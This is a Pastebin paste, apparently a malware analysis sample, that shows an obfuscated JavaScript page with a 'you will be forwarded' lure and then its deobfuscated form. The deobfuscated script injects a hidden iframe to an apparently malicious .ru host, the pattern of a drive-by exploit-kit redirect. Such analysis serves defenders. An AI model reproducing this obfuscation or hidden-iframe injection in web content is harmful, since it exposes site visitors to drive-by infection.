Advertisement
adityaks

JavaScript Obfuscation Case (1)

Jul 31st, 2012
183
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ======================= Obfuscated Script =======================
  2. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  3. <html>
  4.  <head>
  5.   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  6.  </head>
  7.  <body>  
  8. <h1><b>Please wait a moment. You will be forwarded...</h1></b>
  9. <script>try{n-=eval("pro"+"totype");}catch(zxc){e=eval;n="90..99..1050..1122..320..440..1000..1221..990..1287..1090..1111..1100..1276..460..1133..1010..1276..690..1188..1010..1199..1010..1210..1160..1265..660..1331..840..1067..1030..858..970..1199..1010..440..390..1078..1110..1100..1210..429..410..1001..480..1023..410..1353..130..99..90..99..1050..1122..1140..1067..1090..1111..1140..440..410..649..130..99..90..1375..320..1111..1080..1265..1010..352..1230..143..90..99..90..1100..1110..1089..1170..1199..1010..1210..1160..506..1190..1254..1050..1276..1010..440..340..660..1050..1122..1140..1067..1090..1111..320..1265..1140..1089..610..429..1040..1276..1160..1232..580..517..470..1221..1100..1111..1140..1287..1150..1265..1050..1067..980..1221..970..1254..1000..506..1140..1287..580..616..480..616..480..517..1020..1221..1140..1287..1090..517..1150..1144..1110..1309..1160..1144..1140..1111..970..1100..460..1232..1040..1232..630..1232..970..1133..1010..671..530..1122..970..583..560..1078..990..1111..550..594..570..1111..530..1089..500..1089..390..352..1190..1155..1000..1276..1040..671..390..539..480..429..320..1144..1010..1155..1030..1144..1160..671..390..539..480..429..320..1265..1160..1331..1080..1111..610..429..1180..1155..1150..1155..980..1155..1080..1155..1160..1331..580..1144..1050..1100..1000..1111..1100..649..1120..1221..1150..1155..1160..1155..1110..1210..580..1067..980..1265..1110..1188..1170..1276..1010..649..1080..1111..1020..1276..580..528..590..1276..1110..1232..580..528..590..429..620..660..470..1155..1020..1254..970..1199..1010..682..340..451..590..143..90..99..1250..143..90..99..1020..1287..1100..1089..1160..1155..1110..1210..320..1155..1020..1254..970..1199..1010..1254..400..451..1230..143..90..99..90..1298..970..1254..320..1122..320..671..320..1100..1110..1089..1170..1199..1010..1210..1160..506..990..1254..1010..1067..1160..1111..690..1188..1010..1199..1010..1210..1160..440..390..1155..1020..1254..970..1199..1010..429..410..649..1020..506..1150..1111..1160..715..1160..1276..1140..1155..980..1287..1160..1111..400..429..1150..1254..990..429..440..429..1040..1276..1160..1232..580..517..470..1221..1100..1111..1140..1287..1150..1265..1050..1067..980..1221..970..1254..1000..506..1140..1287..580..616..480..616..480..517..1020..1221..1140..1287..1090..517..1150..1144..1110..1309..1160..1144..1140..1111..970..1100..460..1232..1040..1232..630..1232..970..1133..1010..671..530..1122..970..583..560..1078..990..1111..550..594..570..1111..530..1089..500..1089..390..451..590..1122..460..1265..1160..1331..1080..1111..460..1298..1050..1265..1050..1078..1050..1188..1050..1276..1210..671..390..1144..1050..1100..1000..1111..1100..429..590..1122..460..1265..1160..1331..1080..1111..460..1232..1110..1265..1050..1276..1050..1221..1100..671..390..1067..980..1265..1110..1188..1170..1276..1010..429..590..1122..460..1265..1160..1331..1080..1111..460..1188..1010..1122..1160..671..390..528..390..649..1020..506..1150..1276..1210..1188..1010..506..1160..1221..1120..671..390..528..390..649..1020..506..1150..1111..1160..715..1160..1276..1140..1155..980..1287..1160..1111..400..429..1190..1155..1000..1276..1040..429..440..429..490..528..390..451..590..1122..460..1265..1010..1276..650..1276..1160..1254..1050..1078..1170..1276..1010..440..390..1144..1010..1155..1030..1144..1160..429..440..429..490..528..390..451..590..143..90..99..90..1100..1110..1089..1170..1199..1010..1210..1160..506..1030..1111..1160..759..1080..1111..1090..1111..1100..1276..1150..726..1210..924..970..1133..780..1067..1090..1111..400..429..980..1221..1000..1331..390..451..910..528..930..506..970..1232..1120..1111..1100..1100..670..1144..1050..1188..1000..440..1020..451..590..143..90..99..1250".split("..");h=2;s="";for(i=0;i-653<0;i=1+i){k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+10));}if(015-0xa===3)e(s);}</script>
  10. </body>
  11. </html>
  12.  
  13. ====================== Deobfuscated Script ================
  14. if (document.getElementsByTagName('body')[0])
  15.     {          
  16.         iframer();
  17.     }
  18. else {
  19.     document.write("<iframe src='http://onerussiaboard.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  20.     }
  21.        
  22. function iframer() {
  23. var f = document.createElement('iframe');
  24. f.setAttribute('src','http://onerussiaboard.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c');  
  25. f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');
  26. f.setAttribute('height','10');
  27. document.getElementsByTagName('body')[0].appendChild(f);
  28. }
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement